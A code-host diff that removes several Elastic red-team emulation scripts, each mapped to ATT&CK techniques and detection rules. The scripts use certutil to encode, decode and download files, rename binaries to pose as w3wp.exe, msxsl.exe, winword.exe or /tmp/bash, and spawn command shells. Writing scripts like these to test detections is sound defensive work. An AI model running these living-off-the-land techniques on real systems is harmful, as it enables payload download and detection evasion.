# RTA: certutil_file_obfuscation.py
|
||||
# ATT&CK: T1140
|
||||
# signal.rule.name: Encoding or Decoding Files via CertUtil
|
||||
# Description: Uses certutil to create an encoded copy of cmd.exe. Then uses certutil to decode that copy.
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="7b2c1b3e-2097-4e2f-bf5c-e157a91b8001",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_id": "fd70c98a-c410-42dc-a2e3-761c71848acf", "rule_name": "Suspicious CertUtil Commands"}],
|
||||
techniques=["T1140"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
common.log("Encoding target")
|
||||
encoded_file = Path("encoded.txt").resolve()
|
||||
decoded_file = Path("decoded.exe").resolve()
|
||||
common.execute(
|
||||
[
|
||||
"c:\\Windows\\System32\\certutil.exe",
|
||||
"-encode",
|
||||
"c:\\windows\\system32\\cmd.exe",
|
||||
encoded_file,
|
||||
]
|
||||
)
|
||||
|
||||
common.log("Decoding target")
|
||||
common.execute(["c:\\Windows\\System32\\certutil.exe", "-decode", encoded_file, decoded_file])
|
||||
|
||||
common.log("Cleaning up")
|
||||
common.remove_file(encoded_file)
|
||||
common.remove_file(decoded_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,45 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Downloading Files With Certutil
|
||||
# RTA: certutil_webrequest.py
|
||||
# ATT&CK: T1105
|
||||
# Description: Uses certutil.exe to download a file.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="10609a63-0013-4fd0-9322-66c86c1c9501",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_id": "3838e0e3-1850-4850-a411-2e8c5ba40ba8", "rule_name": "Network Connection via Certutil"}],
|
||||
techniques=["T1105"],
|
||||
)
|
||||
|
||||
|
||||
MY_DLL = common.get_path("bin", "mydll.dll")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
@common.dependencies(MY_DLL)
|
||||
def main():
|
||||
# http server will terminate on main thread exit
|
||||
# if daemon is True
|
||||
server, ip, port = common.serve_web()
|
||||
|
||||
uri = "bin/mydll.dll"
|
||||
target_file = "mydll.dll"
|
||||
common.clear_web_cache()
|
||||
url = "http://{ip}:{port}/{uri}".format(ip=ip, port=port, uri=uri)
|
||||
common.execute(["certutil.exe", "-urlcache", "-split", "-f", url, target_file])
|
||||
|
||||
server.shutdown()
|
||||
common.remove_file(target_file)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,44 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="be6619a2-324a-443b-9f23-2dc84733c847",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Suspicious Microsoft IIS Worker Descendant",
|
||||
"rule_id": "89c9c5a0-a136-41e9-8cc8-f21ef5ad894b"
|
||||
}
|
||||
],
|
||||
siem=[
|
||||
{
|
||||
"rule_id": "f81ee52c-297e-46d9-9205-07e66931df26",
|
||||
"rule_name": "Microsoft Exchange Worker Spawning Suspicious Processes"
|
||||
},
|
||||
{
|
||||
"rule_name": "Web Shell Detection: Script Process Child of Common Web Processes",
|
||||
"rule_id": "2917d495-59bd-4250-b395-c29409b76086"
|
||||
}],
|
||||
techniques=['T1190', 'T1059', 'T1059.001', 'T1059.003', 'T1505', 'T1505.003'],
|
||||
)
|
||||
|
||||
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
w3wp = "C:\\Users\\Public\\w3wp.exe"
|
||||
common.copy_file(EXE_FILE, w3wp)
|
||||
|
||||
common.execute([w3wp, "/c", "echo", "MSExchange1AppPool", "; cmd.exe"], timeout=10, kill=True)
|
||||
common.remove_file(w3wp)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,39 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import sys
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="8d6f2979-747a-42d9-813a-ddadd90650d2",
|
||||
platforms=["linux"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_id": "7b9ddfc8-8ea8-45d5-b62f-3fbd142c8f08",
|
||||
"rule_name": "Behavior Protection - Cloud Reputation EICAR",
|
||||
},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["TA0002"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(metadata.platforms)
|
||||
def main() -> None:
|
||||
masquerade = "/tmp/bash"
|
||||
source = common.get_path("bin", "linux.ditto_and_spawn")
|
||||
common.copy_file(source, masquerade)
|
||||
|
||||
# Execute command
|
||||
common.log("Launching Behavior Protection - Cloud Reputation EICAR")
|
||||
common.execute([masquerade, "test-cloudreputationrule-5020a0031cad"], timeout=10, kill=True)
|
||||
|
||||
# cleanup
|
||||
common.remove_file(masquerade)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -1,41 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="9bf3622b-dd76-4156-a89c-6845dca46b1f",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"},
|
||||
{
|
||||
"rule_name": "Managed .NET Code Execution via Windows Script Interpreter",
|
||||
"rule_id": "5a898048-d98c-44c6-b7ba-f63a31eb3571",
|
||||
},
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1220", "T1218", "T1055", "T1059"],
|
||||
)
|
||||
|
||||
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
msxsl = "C:\\Users\\Public\\msxsl.exe"
|
||||
fake_clr_path = "C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs"
|
||||
fake_clr_logs = fake_clr_path + "\\msxsl.exe.log"
|
||||
common.copy_file(EXE_FILE, msxsl)
|
||||
|
||||
Path(fake_clr_path).mkdir(parents=True, exist_ok=True)
|
||||
common.log("Creating a fake clr log file")
|
||||
common.execute([msxsl, "-c", f"echo RTA > {fake_clr_logs}"], timeout=10)
|
||||
common.remove_files(msxsl, fake_clr_logs)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
@@ -1,38 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
from . import common
|
||||
from . import RtaMetadata
|
||||
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="6c399694-d21c-4a19-9e58-8fa24eb399b9",
|
||||
platforms=["windows"],
|
||||
endpoint=[
|
||||
{
|
||||
"rule_name": "Windows Command Shell Spawned via Microsoft Office",
|
||||
"rule_id": "2a396a3c-b343-42a9-b74b-c5b9925b6ee2",
|
||||
}
|
||||
],
|
||||
siem=[],
|
||||
techniques=["T1566", "T1059"],
|
||||
)
|
||||
|
||||
EXE_FILE = common.get_path("bin", "renamed.exe")
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main():
|
||||
binary = "winword.exe"
|
||||
common.copy_file(EXE_FILE, binary)
|
||||
|
||||
# Execute command
|
||||
common.execute([binary, "/c", "cmd.exe /c 'echo comspec'"], timeout=5, kill=True)
|
||||
|
||||
common.remove_files(binary)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user